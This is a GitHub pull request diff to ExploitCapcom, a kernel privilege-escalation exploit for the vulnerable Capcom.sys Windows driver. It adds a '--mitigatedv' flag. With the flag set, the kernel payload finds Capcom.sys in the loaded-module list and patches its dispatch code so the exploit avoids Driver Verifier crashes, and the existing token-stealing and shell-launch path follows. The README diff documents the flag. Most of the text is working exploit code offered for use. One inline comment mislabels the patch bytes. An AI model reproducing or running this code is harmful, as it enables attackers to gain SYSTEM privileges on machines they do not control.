Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implement mitigation for Driver Verifier #4

Merged
merged 9 commits into from
Jun 10, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
150 changes: 144 additions & 6 deletions ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -22,23 +22,51 @@
//

typedef void *PEPROCESS;
typedef void *PERESOURCE;

typedef enum _POOL_TYPE
{
NonPagedPool,
NonPagedPoolExecute = NonPagedPool,
} POOL_TYPE;

using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)();

using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId,
using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI*)(_In_ HANDLE ProcessId,
_Out_ PEPROCESS * Process);

using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object);
using OBDEREFERENCEOBJECT = VOID(NTAPI*)(_In_ PVOID Object);

using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)(
using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI*)(
_Inout_ PEPROCESS Process);

using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)(
using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI*)(
_In_ PACCESS_TOKEN PrimaryToken);

using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)(
using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI*)(
_In_ PUNICODE_STRING SystemRoutineName);

using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI*)(
_In_ PCUNICODE_STRING String1,
_In_ PCUNICODE_STRING String2,
_In_ BOOLEAN CaseInSensitive);

using RTLINITUNICODESTRING = VOID(NTAPI*)(
_Inout_ PUNICODE_STRING DestinationString,
_In_ PCWSTR SourceString);

using EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE = PVOID(NTAPI*)(
_In_ PERESOURCE Resource);

using EXRELEASERESOURCEANDLEAVECRITICALREGION = VOID(NTAPI*)(
_In_ PERESOURCE Resource);

using EXALLOCATEPOOL = PVOID(NTAPI*)(
_In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes);

using EXFREEPOOL = VOID(NTAPI*)(
_In_ PVOID P);

// Represents shellcode to be executed
#include <pshpack1.h>
typedef struct _SHELLCODE
Expand All @@ -57,6 +85,26 @@ typedef struct _IOCTL_IN_BUFFER
SHELLCODE Shellcode;
} IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER;

// winternal.h does not have complete members
typedef struct _LDR_DATA_TABLE_ENTRY_EX
{
LIST_ENTRY InLoadOrderModuleList;
tandasat marked this conversation as resolved.
Show resolved Hide resolved
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
ULONG CheckSum;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY_EX, * PLDR_DATA_TABLE_ENTRY_EX;

////////////////////////////////////////////////////////////////////////////////
//
// prototypes
Expand All @@ -82,13 +130,21 @@ static bool LaunchShell();
// Indicates whether token stealing is done successfully
static BOOLEAN gIsTokenStealingSuccessful = FALSE;

// Indicates mitigation for driver verifier
static BOOLEAN gIsDvMitigationEnabled = FALSE;

////////////////////////////////////////////////////////////////////////////////
//
// implementations
//

int main()
int main(int argc, const char* argv[])
{
if (argc > 1 && strcmp(argv[1], "--mitigatedv") == 0)
{
gIsDvMitigationEnabled = TRUE;
tandasat marked this conversation as resolved.
Show resolved Hide resolved
}

tandasat marked this conversation as resolved.
Show resolved Hide resolved
ExploitCapcomDriver();
return 0;
}
Expand All @@ -107,6 +163,11 @@ static bool ExploitCapcomDriver()
std::cout << std::hex;
std::cout << "[*] Capcom.sys exploit" << std::endl;

if (gIsDvMitigationEnabled == TRUE)
{
std::cout << "[*] DV mitigation is enabled" << std::endl;
}

// Open the device created by Capcom.sys
auto DeviceHandle = make_unique_ex(
CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE,
Expand Down Expand Up @@ -224,6 +285,83 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress)
*reinterpret_cast<PEPROCESS*>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsInitialSystemProcess"));

if (gIsDvMitigationEnabled == TRUE)
{
auto RtlEqualUnicodeString =
reinterpret_cast<RTLEQUALUNICODESTRING>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"RtlEqualUnicodeString"));

auto RtlInitUnicodeString =
reinterpret_cast<RTLINITUNICODESTRING>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"RtlInitUnicodeString"));

auto ExAllocatePool =
reinterpret_cast<EXALLOCATEPOOL>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExAllocatePool"));

auto ExFreePool =
reinterpret_cast<EXFREEPOOL>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExFreePool"));

auto PsLoadedModuleList =
*reinterpret_cast<PLIST_ENTRY*>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsLoadedModuleList"));

auto PsLoadedModuleResource =
*reinterpret_cast<PERESOURCE*>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsLoadedModuleResource"));

auto ExEnterCriticalRegionAndAcquireResourceExclusive =
reinterpret_cast<EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExEnterCriticalRegionAndAcquireResourceExclusive"));

auto ExReleaseResourceAndLeaveCriticalRegion =
reinterpret_cast<EXRELEASERESOURCEANDLEAVECRITICALREGION>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExReleaseResourceAndLeaveCriticalRegion"));

// Disable normal kernel APCs and acquire resource
ExEnterCriticalRegionAndAcquireResourceExclusive(PsLoadedModuleResource);

// Critical region starts herewith below
{
UNICODE_STRING CapcomNameUs;
RtlInitUnicodeString(&CapcomNameUs, L"capcom.sys");

for (PLIST_ENTRY Entry = PsLoadedModuleList;
Entry != PsLoadedModuleList->Blink;
Entry = Entry->Flink)
tandasat marked this conversation as resolved.
Show resolved Hide resolved
{
PLDR_DATA_TABLE_ENTRY_EX LdrEntry =
CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList);

if (RtlEqualUnicodeString(&CapcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE)
{
BYTE PatchShellcode[] = {
0x33, 0xC0, // xor edx, edx
0x90 // nop
};

// Patch for IRP_MJ_DEVICE_CONTROL
memcpy(
(void*)((UINT_PTR)LdrEntry->DllBase + 0x631),
&PatchShellcode,
sizeof(PatchShellcode));

// Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE
memcpy(
(void*)((UINT_PTR)LdrEntry->DllBase + 0x518),
&PatchShellcode,
sizeof(PatchShellcode));

break;
}
}
}
// Critical region ends

ExReleaseResourceAndLeaveCriticalRegion(PsLoadedModuleResource);
}

// Get the process object of the current process
PEPROCESS CurrentProcess = nullptr;
NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(),
Expand Down
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,9 @@ ExploitCapcom
❗❗Obsolete❗❗
-------------

This exploit no longer works since Windows 10 20H2 (Build 19042), and the author will not provide a fix or workaround for it. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) for more details.
This exploit no longer works since Windows 10 20H2 (Build 19042) while DV (*Driver Verifier*) is enabled. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) and [PR #4](https://github.com/tandasat/ExploitCapcom/pull/4) for more details.

In order to avoid DV crash, use `--mitigatedv` parameter. e.g, `ExploitCapcom.exe --mitigatedv`.


Description
Expand Down